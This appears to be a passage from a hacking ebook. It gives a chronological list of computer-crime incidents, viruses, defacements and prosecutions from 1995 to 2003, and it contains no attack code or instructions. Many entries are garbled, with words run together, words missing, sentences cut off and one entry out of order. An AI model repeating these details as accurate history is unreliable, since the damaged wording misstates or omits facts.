[1995 Sep 17] Ian Goldberg and David Wagner broke the pseudo- random number generator of Netscape Navigator 1.1.They get the session key in a few hours on a single workstation.

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[1995 Nov 15] On November 15, Christopher Pile becomes the first person to be jailed for writing and distributing acomputer virus. Pile, who called himself the 'Black Baron', was sentenced to 18 months in jail.

[1996] The internet now has over 16 million hosts and is growing rapidly.

[1996] Icanet, a company that designed Internet sites for public schools, was threatened by an extortionist in Germany.The deal: If Icanet agreed to buy his computer security program for $30,000, the hacker would not devastate thecompany's computers. In April, Andy Hendrata, a 27-year-old Indonesian computer science student in Germany, wasconvicted of computer sabotage and attempted extortion. He received a one- year suspended sentence and was fined$1,500.

[1996] The U.S. General Accounting Office reports that hackers attempted to break into Defense Department computerfiles some 250,000 times in 1995 alone. About 65 percent of the attempts were successful, according to the report.

[1996 Mar 6] United Press International (UPI) reveals that a hacker called 'u4ea' and also known 'eliteone','el8' and 'b1ff' on- line has been threatening to crash systems at the Boston Herald newspaper and InternetService providers in the Boston, Massachusetts area. Reports indicate that the hacker may have entered up to100 Internet sites and desytroyed files on many of them. An investigation is initiated by the NYPD Computer Crimessection.

[1996 Apr 4] According to prosecutors, 19-year-old Christopher Schanot of St. Louis, Missouri, hacked into nationalcomputer networks, military computers, and the TRW and Sprint credit reporting service.

[1996 Apr 5] 19-year-old Christopher Schanot ('N00gz') a St. Louis honor indicted in Philadelphia for computerfraud, illegal wiretapping, unauthorized access to many corporate and government computers including SouthwesternBell , BELLCORE, Sprint , and SRI .

[1996 Apr 19] Hacker s break into the NYPD’ s phone system and taped message that greeted callers. Thenew message said, "officers are too busy eating doughnuts and coffee to answer the phones." It directed callersto dial 119 in an emergency.

[1996 Jul 5] First known Excel virus, called Laroux is found.

[1996 Jul 31] Tim Lloyd plants software bomb at Omega Engineering in NJ; First federal computer sabotage case.The software time bomb destroyed the company's computer network and the global manufacturer's ability tomanufacture in the summer of 1996. caused the company $12 million in losses and cost 80 employees theirjobs. Lloyd received 41 months in jail. was ordered to pay more than $2 million in restitution.

[1996 Aug 22] Eric Jenott , a Fort Bragg, NC paratrooper is accused of hacking U.S. Army systems and furnishingpasswords to a citizen of communist China. Eric's attorney says the Fort Bragg soldier is just a computer hacker whotested the strength of a supposedly impenetrable computer system, found a weakness and then told his superiors aboutit. Eric was later cleared of the spy charges, but found guilty of damaging government property and computer fraud.

[1996 Sep] Johan Helsingius closes penet.fi. Penet.fi, the world's most popular anonymous remailer, was raided by theFinnish police in 1995 after the Church of Scientology complained that a penet.fi customer was posting the church'ssecrets on the Net. Helsingius closed the remailer after a Finnish court ruled he must reveal the customer's real e-mailaddress.

[1996 Sep 6] DoS attack against Panix.com , a New York- based ISP. An attacker used a single computer to sendthousands of copies of a simple message that computers use to start a two-way dialog. The Panix machines receivingthe messages had to allocate so much computer capacity to handle the dialogs that they used up their resources andwere disabled.

[1996 Sep 25] Kevin Mitnick indicted for damaging computers at USC . Mitnick was charged with 14 counts of wire fraud,arising from his alleged theft of proprietary software from manufacturers. The charges also accuse him of damaging USC's computers and "stealing and compiling" numerous electronic files containing passwords.

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[1997] AOHell is released, a freeware application that allows a burgeoning community of unskilled hackers -- or scriptkiddies -- to wreak havoc on America Online (AOL).

[1997 Jan 28] Ian Goldberg , a University of California-Berkeley graduate student, took on RSA Data Security's challengeand cracked the 40-bit code by linking together 250 idle workstations that allowed him to test 100 billion possible "keys"per hour. In three and a half hours Goldberg had decoded the message, which read, "This is why you should use alonger key."

[1997 Feb 5] Members of the Chaos Computer Club , the infamous hacking elite of Germany, demonstrated an ActiveXhacking program that allowed them to access copies of Quicken , the accounting software package from Intuit, andtransfer money between bank accounts, without needing to enter the normal password security systems of Quicken.

[1997 Mar 10] Hacker named 'Jester' has the first federal charges brought against a juvenile for a computer crime.'Jester' cuts off the FAA tower at Worcester Airport and sentenced to paying restitution to the telephone company andcomplete 250 hours of community service.

[1997 Apr 21] A hacker named 'Joka' managed to trick America Online to briefly shut down a site Texasbranch of the Ku Klux Klan, forcing the AOL to act, for security reasons, after it had declined to do so in response towidespread criticism that the site contains offensive material.

[1997 May 23] Carlos Felipe Salgado, Jr., 36, who used the on- line name 'Smak', allegedly inserted a sniffer programthat gathered the credit information from a dozen companies selling products over the Internet. Carlos gathered 100,000credit card numbers along with enough information to use them, said the

[1997 Jun] Netcom (bought by MindSpring, MindSpring then bought by voice-mail hacked by 'Mr Nobody'. The15-year-old intruder claimed he has been inside Netcom's voice-mail two years. There, he cracked into numerousMailboxes via his telephone key pad and used the system to break third-party telephone switches to make long-distance calls.

[1997 Oct 31] Eugene Kashpureff arrested for redirecting the NSI web page to his Alternic web site. Kashpureff designeda corruption of the software system that allows Internet- linked computers to communicate with each other. By exploitinga weakness in that software, Kashpureff hijacked Internet users attempting to reach the web site for InterNIC , his chiefcommercial competitor, to his AlterNIC web site, impeding those users' ability to register web site domain names or toreview InterNIC's popular "electronic for existing domain names.

[1997 Dec] Julio Ardita ('El Griton') a Argentinean was sentenced to a three- year probation for hacking intocomputer systems belonging to Harvard Los Alamos National Laboratory and the Naval Command, Control andOcean Surveillance Center .

[1997 Dec 8] www.yahoo.com is defaced by 'pantz' and 'h4gis'.

[1998] Two hackers, Hao Jinglong and Hao Jingwen (twin brothers) are sentenced to death by a court in China forbreaking into a bank computer network and stealing 720,000 yuan ($87,000). The Yangzhou Intermediate People ’sCourt in eastern Jiangsu province of China rejected an appeal of Hao Jingwen and upholding a death sentence againsthim. Jingwen and his brother, Hao Jinglong, hacked into the Industrial and Commercial Bank of China computers andshifted 720,000 yuan ($87,000) into accounts they had set up under phoney names. In September of 1998, theywithdrew 260,000 yuan ($31,400) of those funds. Hao Jing long ’s original sentence to death was suspended in return forhis testimony.

[1998 Jan 1] Mark Abene ('Phiber Optik'), a security expert, launched a command to check a client's password files — andended up broadcasting the instruction to thousands of computers worldwide. Many of the computers obligingly sent himtheir password files. Abene explained that the command was the result of a misconfigured system, and that he had nointention of generating a flood of password files into his mailbox.

[1998 Jan 16] Tallahassee Freenet hacked. TFN was attacked by a person or persons whose intent was clearly todestroy all of the files on the system. Before the attacks were stopped by bringing the system offline, thousands of user

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home directories, many system files, and all of the user spool mail had been deleted.[1998 Feb 25] MIT Plasma & Fusion Center (PSFC) and DoD computers hacked by Ehud Tenebaum ('Analyzer'). TheMIT computer was running an old version of Linux , the vulnerability which facilitated intrusion. After gaining access to anaccount, the hackers took advantage of other security holes and installed a packet- sniffer. The hackers were able tocollect user names and passwords to computers outside the network.

[1998 Feb. 26] Solar Sunrise, a series of attacks targeting Pentagon computers, leads to the establishment of round-theclock, online guard duty at major military computer sites.

[1998 Feb 27] The 56-bit DES- II-1 challenge by RSA Data Security was completed by a massively distributed array ofcomputers coordinating their brute- force attacks via the distributed.net "organization." The cleartext message read,"Many hands make light work." The participants collectively examined 6.3 x 10^16 keys — fully 90 percent of the entirekeyspace — in about 40 days.

[1998 Mar 3] Santa Rosa Internet Service Provider NetDex rehacked by Ehud Tenebaum ('Analyzer'), retaliation overthe arrest of his two U.S. hacker friends ('Cloverdale Two').

[1998 Mar 18] Ehud Tenebaum ('The Analyzer'), an Israeli teen-ager is arrested in Israel. During heightened tensions inthe Persian Gulf, hackers touch off a string of break- ins to unclassified Pentagon computers and steal softwareprograms. Officials suspect him of working in concert with American teens to break into Pentagon computers. Then-U.S.Deputy Defense Secretary John Hamre calls it "the most organized and systematic attack" on U.S. military systems todate. An investigation points to two American teens. A 19-year-old Israeli hacker who calls himself 'The Analyzer' (EhudTenebaum) is eventually identified as their ringleader and arrested. Israeli Minister Benjamin Netanyahu callsTenebaum "damn good ... and very dangerous." The attacks exploited a well-known vulnerability in the Solaris operatingsystem for which a patch had been available for months. Today Tenebaum technology officer of a computerconsulting firm.

[1998 Mar 20] Two teenagers hack T-Online , the online service Germany's national telephone company, and stealinformation about hundreds of bank accounts. The two 16-year-old bragged about their exploits, callingDeutsche Telekom's security for the online service "absolutely primitive".

[1998 Apr] Shawn Hillis, 26, of Orlando, Florida, a former employee of NASA contractor Lockheed Martin Corp. , pledguilty in Federal district court to using a NASA workstation at the Kennedy Space Center to gain unauthorized access tocomputer networks of several Orlando businesses.

[1998 Apr 20] An Alabama juvenile hacker launches an e-mail bomb attack consisting of 14,000 e-mail messages acrossa NASA network against another person network systems in a commercial domain. The youth was later ordered toprobationary conditions for 12 months.

[1998 Apr 22] The MoD criminal hacker group (Masters of Downloading, not to be confused with the 1980's groupMasters of Deception) claimed to have broken into a number of military networks, including the DISN (DefenseInformation Systems Network); and the DEM (DISN Equipment Manager), which controls the military's global positioningsatellites (GPSs).

[1998 May] Members from the Boston hacker group, L0pht (now @stake ), testify before the U.S. Senate about Internetvulnerabilities.

[1998 May 30] A criminal hacker used the sheer size of AOL's technical support (6,000 people) to social engineer hisway into the ACLU's web site. The attacker repeatedly phoned AOL until he found a support technician foolish enough togrant access to the targeted web site, which was wiped out as a result of the attack.

[1998 Jun 30] Former Coast Guard employee, Shakunla DeviSingla, entered a personnel database she had helpeddesign. DeviSingla used her experience and a former co- worker ’ s password and other identification to delete data. Heraction required 115 employees and 1800 hours to recover the deleted information

[1998 Jul 31] During Def Con 6 The Cult of the Dead Cow (cDc) release Back Orifice (BO), a tool for analyzing and

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[1998 Sep 13] Hackers deface The New York Times (www.nytimes.com) web site , renaming it HFG (Hacking for Girls).The hackers express anger at the arrest and imprisonment of Kevin Mitnick , the subject of the book ' Takedown 'coauthoredby Times reporter John Markoff . In early November, two members of HFG told Forbes magazine that theyinitiated the attack because they were bored and couldn't agree on a video to watch.

[1998 Sep 17] Aaron Blosser a contract programmer and self-described "math geek" harnessed over 2,500 U S West computers by installing a program that would utilize their idle time to find very large prime numbers. Their combinedcomputational power in theory surpassed that of most supercomputers. Blosser enlisted 2,585 computers to work atvarious times during the day and night and quickly ran up 10.63 years of computer processing time in his search for anew prime number. "I've worked on this (math) problem for a long time," said Blosser. "When I started working at U SWest, all that computational power was just too tempting for me."

[1998 Oct 1] Hackers calling themselves the Electronic Disruption Theater allege the Pentagon used offensiveinformation warfare techniques (DDoS attack)- - a charge DoD officials deny- - to thwart the group's computerattack.

[1998 Nov] The 'Cloverdale Two' sentenced to 3 years probation, the two Cloverdale, California teens ('Makaveli' and'Too Short') hacked dozens of computer systems, including ones run by the Pentagon . It was later discovered that theinfamous Israeli hacker, Ehud Tenebaum ('Analyzer') was the mastermind and mentor to the teens.

[1999 Feb 1] Canadian teen charged in Smurf attack of Sympatico ISP . Smurf attacks are when a malicious Internet userfools hundreds or thousands of systems into sending traffic to one location, flooding the location with pings. The attackwas eventually traced to the teen's home.

[1999 Feb 15] 15-year-old from Vienna hacks into Clemson University's system and tries breaking into NASA .

[1999 Mar 18] Jay Satiro, an 18-year-old high school dropout was charged with computer tampering after hacking intothe internal computers of America Online and altering some programs. Jay pled guilty and was sentenced to one year injail and five years without a home PC.

[1999 Mar 26] Melissa virus affects 100,000 email users and caused $80 million in damages; written by David Smith a29-year-old New Jersey computer programmer. The virus known as Melissa, was named after a Florida stripper.

[1999 Apr] Ikenna Iffih, age 28, of Boston, Massachusetts, was charged with using his home computer to illegally gainaccess to a number of computers, including those controlled by NASA and an agency of the U.S. Department ofDefense , where, among other things, he allegedly intercepted login names and passwords, and intentionally causeddelays and damage in communications. On November 17, 2000, he was sentenced to 6 months home detention, placedon supervised release for 48 months, and ordered to pay $5,000 in restitution.

[1999 Apr 26] CIH virus released by Chen Ing-Hou , the creator of the CIH virus, that takes his initials. This was the firstknown virus to target the flash BIOS.

[1999 May] The Napster peer- to-peer MP3 file-sharing system, used mainly to copy and swap unencrypted files of songsfor free, begins to gain popularity, primarily on college campuses where students have easy access to high-speedInternet connections. It was created by Northeastern University students Shawn Fanning and Sean Parker, age 19 and20, respectively. Before being shut down on July 2, 2001, Napster, had attracted 85 million registered users downloadingas many as 3 billion songs a month.

[1999 May 11] Whitehouse.gov defaced by Global Hell.

[1999 Jul 10] Back Orifice 2000 released at Def Con 7.

[1999 Aug 30] Microsoft Corporation shuts down its Hotmail operation for approximately two hours. The shut down

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comes after receiving confirmed reports that hackers breached some of their servers by entering Hotmail accountsthrough third-party Internet providers without using passwords.

[1999 Aug 19] ABC news web site defaced by United Loan Gunmen.

[1999 Sep 5] C-Span web site defaced by United Loan Gunmen.

[1999 Sep 13] Drudge Report web site defaced by United Loan Gunmen

[1999 Sep 23] Nasdaq and American Stock Exchange web sites defaced by United Loan Gunmen.

[1999 Nov] 15-year-old Norwegian, Jon Johansen , one of the three founding members of MoRE (Masters of ReverseEngineering), the trio of programmers who created a huge stir in the DVD marketplace by releasing DeCSS , a programused to crack the Content Scrambling System (CSS) encryption used to protect every DVD movie on the market. OnJan. 24, 2000 authorities in Norway raid Johansen's house and take computer equipment.

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[2000 Jan 15] 19-year-old Raphael Gray ('Curador') steals over 23,000 credit card numbers from 8 small companies.Raphael styled himself as a "saint of e-commerce", as he hacked into U.S., British and Canadian companies during a"crusade" to expose holes in Internet security and who used computer billionaire Bill Gates' credit card details to sendhim Viagra.

[2000 Feb 7] 16-year-old Canadian hacker nicknamed ' Mafiaboy ', carried distributed denial-of-service (DDoS)spree using attack tools available on the Internet that let him launch a remotely coordinated blitz of 1-gigabits- per-secondflood of IP packet requests from "zombie" servers which knocked off- line for over 3 hours. After pleding guilty'Mafiaboy' was sentenced on Sep. 12 2001 to eight months in detention center.

[2000 Feb 9] Two days later the DDoS attacks continued, this time hitting eBay , Amazon , Buy.com , ZDNet , CNN , E*Trade and MSN.

[2000 May] GAO (General Accounting Office) auditors were able to gain access to sensitive personal information fromthe Department of Defense (DOD) through that was publicly available over the Internet. The auditors tapped intothis file without valid user authentication gained access to employee's Social Security numbers, addresses and payinformation.

[2000 May 15] Love Bug virus sent from Philippines; AMA computer college. Michael Buen & Onel de Guzman aresuspected of writing the virus.

[2000 Jun 1] Qualcomm in San Diego hacked by University of Wisconsin-Madison student Jerome Heckenkamp ('MagicFX').

[2000 Jun 15] An Information Technology consultant breached the security of British internet service provider Redhotant to expose security lapses. He managed to obtain the names, addresses, passwords and credit card details of more than24,000 people, including military scientists, government officials, and top company executives just to show it could bedone. The hacker said breaching the site's security was "child's play".

[2000 Jul 18] AOL , based in Vienna, Virginia, confirmed that records for more than 500 so-called screen names of itscustomers had been hacked. Those records typically contain information such as a customer's name, address and thecredit card number used to open the account.

[2000 Jul 7] Utilities firm Powergen located in the UK was forced to ask thousands of its customers to cancel credit cardsafter a web site blunder left a database of card details exposed.

[2000 Jul 24] Andrew Miffleton ('Daphtpunk'), age 25, of Arlington, Texas was sentenced in federal court to 21 months

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imprisonment and ordered to pay a $3,000.00 fine. Miffleton associated himself with a group known as "the DarksideHackers", who were interested in using unauthorized access devices to fraudulently obtain cellular telephone servicethrough cloned cellular telephones or long distance telephone service through stolen calling card numbers.

[2000 Aug 17] United States District Judge Lewis Kaplan in New York bars Eric Corley ('Emmanuel Goldstein'), publisherof 2600 magazine , from republishing software hacks that circumvent DVD industry encryptions. The code would enablemovies to be more readily copied and exchanged as data files on the Internet.

[2000 Sep 5] A 21-year-old New Rochelle, New York man was sentenced to four months in prison for breaking into twocomputers owned by NASA's Jet Propulsion Laboratory in 1998 and using one to host Internet chat rooms devoted tohacking, prosecutors said. Raymond Torricelli ('rolex') was a member of the hacking group '#conflict' which used theircomputers to electronically alter the results of the annual MTV Movie Awards . Additionally, over 76,000 discretepasswords were found on Raymond's personal computer.

[2000 Sep 6] Patrick W. Gregory ('MostHateD'), age 20, pled guilty for his role as a founding member hacking ringcalled GlobalHell and is sentenced to 26 months imprisonment, three years supervised release, and ordered to pay$154,529.86 in restitution. GlobalHell is said to have caused at least $1.5 million in damages to various corporationsand government entities, including the White House and the U.S. Army . Gregory, a high school dropout who has said hewants to start his own computer security business, admits in a plea agreement to stealing telephone conferencingservices from AT&T , MCI , and Latitude Communications and holding conference calls between 1997 and May 1999 withother hackers around the country.

[2000 Sep 26] Jason Diekman ('Shadow Knight', 'Dark Lord') arrested after agents discovered evidence on Diekman ’ s computers indicating that he intercepted usernames and passwords fro m universities, including Harvard University. In a statement he made to investigators, Diekman admitted hacked into "hundreds, maybe thousands" of computers, including systems at JPL , Stanford , Cornell University , the California State University at Fullerton , and University of California campuses in Los Angeles Diego . On February 4, 2002, Diekman was sentenced to 21 months in federal prison, three years supervised restricted use of the computer and over $87,000 in restitution.

[2000 Oct] Microsoft admits that its corporate network has been hacked and source code for future Windows productshas been seen. Hacker suspeted to be from St Petersburg.

[2000 Oct 10] FBI lure 2 Russian hackers arrest in Seattle, after it was determined that Alexei Ivanov, 20, andVasiliy Gorshkov, 25, spent two years American businesses. The FBI established a bogus computer securityfirm that they named, fittingly enough, They leased office space in downtown Seattle and immediately calledIvanov in Russia about possible employment hacker. The FBI communicated with Gorshkov and Ivanov, by e-mailand telephone during the summer and fall of 2000. The men agreed to a face- to- face meeting and on Nov. 10, Gorshkovand Ivanov flew to Seattle and went directly to a two-hour "job interview" with undercover FBI agents who were posingas Invita staff. The Russians were asked to further demonstrate their hacking skills on an IBM Thinkpad provided by theagents. The hackers happily complied and communicated with their home server back in Chelyabinsk, unaware that thelaptop they were using was running a "sniffer" program that recorded their every keystroke. The FBI agents' descriptionsof the meeting portray Ivanov and Gorshkov as not only blissfully ignorant of their impending arrest, but also somewhatcocky about their hacking skills. At one point in the meeting, as Gorshkov glibly detailed how he and Ivanov extortedmoney from a U.S. Internet service provider after hacking into its servers, he told the room of undercover agents that"the FBI could not get them in Russia."

[2000 Oct 28] After 9 million hack attempts security web site AntiOnline is defaced by Australian hacker 'ron1n' ('n1nor'). AntiOnline was deemed "unhackable" by the sites owner, John Vranesevich , but a poorly coded cgi script(s) written byVranesevich led to the hack.

[2000 Nov 7] A 19-year-old Dutch hacker named 'Dimitri' broke in to Microsoft ’s internal web servers with intentions toshow the company its vulnerability due to not installing their own patches.

[2000 Dec 13] More than 55,000 numbers were stolen from Creditcards.com , which processes credit transactions foronline companies. About 25,000 of them were posted online when an extortion payment was not made.

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[2000 Dec 24] Exigent International , a U.S. government contractor, acknowledged that one or more cyberthieves brokeinto a restricted federal computer system and stole the company's proprietary code for controlling satellite systems. Thesoftware, known as OS/COMET, allows ground- control personnel to communicate and send commands to satellites androckets. The U.S. Air Force has plans to use the OS/COMET software to control the NAVSTAR Global PositioningSystem from its Colorado Springs Monitor Station, which is part of the Air Force Space Command.

[2001 Feb 1] Hackers invade World Economic Forum . The compromised data included credit card numbers, personalcell phone numbers and information concerning passports and travel arrangements for a number of government andbusiness leaders. Among the notable victims whose personal information was pilfered were Microsoft chairman BillGates , Palestinian Authority chairman Yasser Arafat, U.N. Secretary-General Kofi Annan, former U.S. Secretary of StateMadeline Albright and former Israeli Prime Minister Shimon Peres.

[2001 Feb 12] Anna Kournikova virus released by 20-year-old Dutchman Jan de Wit ('OnTheFly') who was later arrestedand sentenced to 150 hours of community service.

[2001 Mar 1] FBI reports that 40 e-commerce sites located in 20 U.S. states were cracked by eastern Europe hackers,have stolen more than one million credit card numbers from U.S. e-commerce and banking websites.

[2001 Mar 7] Jesus Oquendo ('Sil'), age 27, of Queens, New York was convicted and sentenced to 27 months inManhattan federal court on charges of computer hacking and electronic eavesdropping of victim company Five PartnersAsset Management LLC ("Five Partners"), a venture capital company based in Manhattan. Oquendo left the victim ataunting message on its network: "Hello, I have just hacked into your system. Have a nice day."

[2001 May 1] Chinese and U.S. hackers attack each other because of the plane that had to make anemergency landing in China after the U.S. plane collides with and kills Chinese fighter pilot Wang Wei .

[2001 May 4] Gibson Security Research Corp came under attack taken off- line by a 13-year-old hacker, atfirst due to a mistaken belief that Steve Gibson had called him then simply because it was fun.

[2001 May 11] Solaris/IIS worm infects Solaris boxes up to version 7, and then scans for IIS machines susceptible to thefolder traversal vulnerability and then replaces the default web page.

[2001 May 15] Hackers attack University of Washington and put file sharing program on its computers.

[2001 May 17] 'Fluffy Bunny' hacker Apache.org and SourceForge.net .

[2002 May 21] Max Butler ('Max Vision' Equalizer') was sentenced to 18 months in prison for launching anInternet worm that crawled through hundreds of military and defense contractor computers over a few days in 1998. MaxButler also lived three lives for five years. As 'Max Vision', he was an incredibly skilled hacker and security expert whoboasted that he'd never met a computer system he couldn't crack. As 'The Equalizer', he was an FBI informant, reportingon the activities of other hackers. As Max Butler, he was a family man in Santa Clara, California who ran a Silicon Valleysecurity firm. At Max Vision Network Security , he specialized in running "penetration tests," attempting to break intocorporate networks to prove that their security wasn't as good as it could be.

[2001 Jun 9] Los Angeles Times newspaper reports that hackers attacked a computer system that controls much of theflow of electricity across California ’ s power grid for seventeen days or more during the state’ s worse days of the powercrisis. According to the Times, the discover was ade on Friday, May 11 and that it was determined that attackes beganas early as Wednesday, April 25. The attack appears to have primarily by an individual associated to China ’ sGuangdong province and routed through China Telecom . The 17-day intrusion into the networks running California'sleading electric power grid has caused considerable concern among state and federal bureaucrats.

[2001 Jun 15] Christine Gunhus, the wife of an U.S. senator, pleads no contest to charges of using a pseudonym to sende-mail messages that disparaged her husband's Democratic rival.

[2001 Jun 20] U.S. security company ZixIt reported that a database holding details of customers' credit cards had beenhacked.

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[2001 Jul 12] Notorious hacker group World of Hell managed to deface 679 web sites in just one minute.

[2001 Jul 17] Code Red worm is released. The worm exploits vulnerabilities in the Microsoft Internet Information ServerIIS. The worm got its name from "Code Red" Mountain Dew which was used to stay awake by the hackers thatdisassembled the exploit.

[2001 Jul 16] 27-year old Russian programmer Dmitry Sklyarov arrested at Def Con 9 for creating a program to copy Adobe electronic books. He was charged with violating the 1998 Digital Millennium Copyright Act . Demitry was laterreleased, as part of the agreement, Sklyarov will testify for the government in the case that remains against ElcomSoft ,the company that sells the copying software.

[2001 Aug 21] Washington- based Riggs bank has its Visa customer database stolen by hackers.

[2001 Sep 18] Nimda worm (admin backwards) starts to spread, infecting Microsoft IIS servers that are open to knownsoftware vulnerabilities.

[2001 Nov 20] Hackers access Playboy.com's credit card data. The hacking group 'ingreslock 1524' responsibility.

[2001 Nov 20] 25 church web sites hacked by Hacking for Satan group.

[2001 Dec 8] Federal prosecutors accuse one time Los Alamos National Laboratory employee Jerome Heckenkamp ofbreaking into Qualcomm and other corporate computer systems while he was a student. Heckenkamp, they say calledhimself 'MagicFX'. When school police asked for the password for his personal computer. Court records sayHeckenkamp chuckled when he gave it up. "Hackme," he told them. Jerome suspected of hacking into a halfdozenother companies, including eBay Inc. and E*Trade Inc. , over a nine-month

[2001 Nov 26] 2 former Cisco accountants sentenced to 34 months breaking into company computers and stealingstock.

[2002 Feb 25] A 17-year-old female hacker, from Belgium, calling herself 'Gigabyte' takes credit for writing the first-evervirus, called 'Sharpei', written in Microsoft's newest programming language C# (C sharp).

[2002 Jul 11] Hackers broke into USA Today's web site and replaced several of the newspaper's legitimate news storieswith phony articles. Israeli hackers were suspeted.

[2002 Jul 25] Princeton University admissions officials gained unauthorized access to a web site at rival Yale University containing personal information about applicants to the Ivy League school, according to officials at both institutions.

[2002 Jul 30] Copies of OpenSSH are trojaned. OpenSSH is a popular, free version of the SSH (Secure Shell)communications suite and is used as a secure replacement for protocols such as Telnet, Rlogin, Rsh, and Ftp. The mainopenBSD (ftp.openbsd.org) mirror was compromised, after developers noticed that the checksum of the package hadchanged.

[2002 Aug 2] Italian police arrest 14 suspected hackers who are accused of thousands of computer intrusions, includingattacks on the U.S. Army and Navy and the National Aeronautics and Space Administration . They were all members oftwo hacking groups, called Mentor and Reservoir Dogs .

[2002 Aug 17] Federal law enforcement authorities searched the computers of a San Diego security firm that used theInternet to access government and military computers without authorization over the summer. Investigators from theFBI,the Army and NASA visited the offices of ForensicTec Solutions Inc. seeking details about how the company gainedaccess to computers at Fort Hood in Texas and at the Energy Department, NASA and other government facilities. Thesearches began hours after it was reported that ForensicTec consultants used free software to identify vulnerablecomputers and then peruse hundreds of confidential files containing military procedures, e-mail, Social Security numbersand financial data, according to records maintained by the company. While ForensicTec officials said they wanted to helpthe government and "get some positive exposure for themselves," authorities are pursuing the matter as a criminal case.

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[2002 Aug 28] The Recording Industry Association of America's (RIAA) web site is defaced , and copyrighted mp3s areuploaded to the server. The RIAA along with the Motion Picture Association of America (MPAA), has won many criticsonline in its quest to shut down popular file- trading networks such as Napster .

[2002 Sep 20] Samir Rana ('Torner') a 21 year-old London hacker is arrested following a year- long investigation into thecreation of the Linux rootkit program called Tornkit and on suspicion of being a member of the infamous hacker groupFluffy Bunny. It was later reporter that Rana owned the pink stuffed toy depicted in website defacements by FluffyBunny.

[2002 Sep 23] A UK hacker received an 18-month prison sentence for corporate sabotage. Stephen Carey, a 28-year-oldcomputer engineer from Eastbourne, Sussex, is sentenced to 18 months for hacking into a firm's database andmodifying information.

[2002 Oct 4] Hacker Vasily Gorshkov, 27, of Chelyabinsk, Russia, is sentenced to three years in prison for convictionson 20 counts of conspiracy, fraud and related computer crimes. Gorshkov is also ordered to pay restitution of nearly$700,000 for losses he caused to Speakeasy Network of Seattle, and the online credit card payment company PayPal .

[2002 Oct 8] CERT (Computer Emergency Response Team) advisory is released detailing the discovery of a back door(trojan horse) found in the source code files of Sendmail 8.12.6.

[2002 Oct 16] Microsoft admits to being hacked. The security breach took place on a server that hosts Microsoft'sWindows beta community, which allows more than 20,000 Windows users a chance to test software that is still indevelopment.

[2002 Oct 21] A distributed denial-of-service (Dee-Dos) attack, lasting one sent a barrage of data at the 13domainnameservice root servers . The attack was in the form of an ICMP flood, was blocked by many of the root servers,preventing any real loss of network performance.

[2002 Nov 12] Gary McKinnon ('Solo'), 36, of London, an unemployed British sysadmin was indicted for what USauthorities describe as the "biggest hack of military computers ever detected". From February 2001 until March 2002,McKinnon allegedly exploited poorly- secured Windows systems to attack 92 networks run by NASA , the Pentagon and12 other military installation scattered over 14 states. Private sector businesses were also affected by the allegedattacks, which caused an estimated $900,000 damage overall. Prosecutors said that McKinnon "stole passwords,deleted files, monitored traffic and shut computer networks on military bases from Pearl Harbour to Connecticut".

[2002 Nov 22] Lisa Chen, a 52-year-old Taiwanese woman who pleaded no contest in one of the largest software piracycases in the U.S. was sentenced to nine years in prison, one of the longest sentences ever for a case involving softwarepiracy. Chen was arrested along with three associates in November 2001 after local sheriffs seized hundreds ofthousands of copies of pirated software worth more than $75 million, software that Chen smuggled from Taiwan.

[2002 Dec 17] A jury acquitted ElcomSoft, Russian software company, of criminal copyright charges related to selling aprogram that can crack antipiracy protections on electronic books. The case against ElcomSoft is considered a crucialtest of the criminal provisions of the Digital Millennium Copyright Act (DMCA), a controversial law designed to extendcopyright protections into the digital age.

[2003 Jan 21] Computer hacker Kevin Mitnick is goes online for the first time in nearly a decade. He was captured in araid and sent to jail for almost five years for computer crimes against companies including Sun Microsystems and Motorola . The prison term was followed by another three and a half years of restrictions regarding Mitnick's access tocomputers and the Internet.

[2003 Jan 21] Simon Vallor , 22, a British Web designer was sentenced to two years in prison for writing one of theworld's most destructive viruses which wiped out computers worldwide. Vallor was the author of 3 viruses -- "Gokar,""Redesi," and "Admirer" -- "Gokar" spread the most widely and was at one point ranked as the third most prevalent virusof all time.

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[2003 Feb 6] Douglas Boudreau, 21, allegedly installed keystroke monitoring software on more than 100 computers at Boston College and then watched as thousands of people sent e-mail, downloaded files and banked online. He was laterindicted on charges he placed software on dozens of computers that allowed him to secretly monitor what people weretyping, and then stole around $2,000 using information he gleaned.

[2003 Feb 7] Two hackers who broke into Riverside County, Calif. , court computers and electronically dismissed avariety of pending cases plead guilty to the crime. Both William Grace, 22, and Brandon Wilson, 28, were sentenced tonine years in jail after pleading guilty to 72 counts of illegally entering a computer system and editing data, along withseven counts of conspiracy to commit extortion

[2003 Feb 10] Twice in the past two weeks, online vandals- -like the ones who tagged many Web sites with "Free Kevin!"graffiti during Mitnick's time in prison- -broke into the Web server of the former hacker's security start-up, DefensiveThinking .

[2003 Feb 18] It's reported that a hacker ("unauthorized intruder") gained access to some 8 million card accountnumbers — including Visa , MasterCard and American Express — by breaching the security of a company that processestransactions for merchants, the card companies said.

[2003 Mar 7] Online attackers stole information on more than 55,000 students and faculty from insecure databaseservers at the University of Texas at Austin .

[2003 Apr 29] New Scotland Yard said Wednesday they arrested 24-year-old Lynn Htun at a London convention center,the site of InfoSecurity Europe 2003. Law enforcement and Internet security professionals said they believe Htun is themastermind of the “Fluffi Bunni ” hacking exploits, hacking into sites ranging those of McDonalds Corp to Internetsecurity specialists SANS Institute and Symantec Corp’s virus detection group SecurityFocus .

[2003 Jun 12] Web designer John Racine II, 24, admitted diverting and e-mails from al-Jazeera's Arabic Web siteto a site he had designed called "Let Freedom Ring" and bearing flag. John carried out this attack on the al-Jazeera Web site during the Iraq war because the Arab satellite had shown pictures of dead and capturedAmerican soldiers.

[2003 Jul 6] Internet experts brace for hacker contest. The assault is being billed as a contest to see who can deface6,000 Web sites in six hours. The widely publicised hacking contest which encouraged vandals to deface websitesended without causing serious trouble.

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Bibliography

Thanks For reading this book and I hope the contents described in this book will help you toknow the minds of hackers. Now you are capable of securing your own and your surroundingcomputers from the Threat we called “HACKING”.

www.hackingtech.co.tv

www.google.com

www.wikipedia.com

And various blogs for images and tips.

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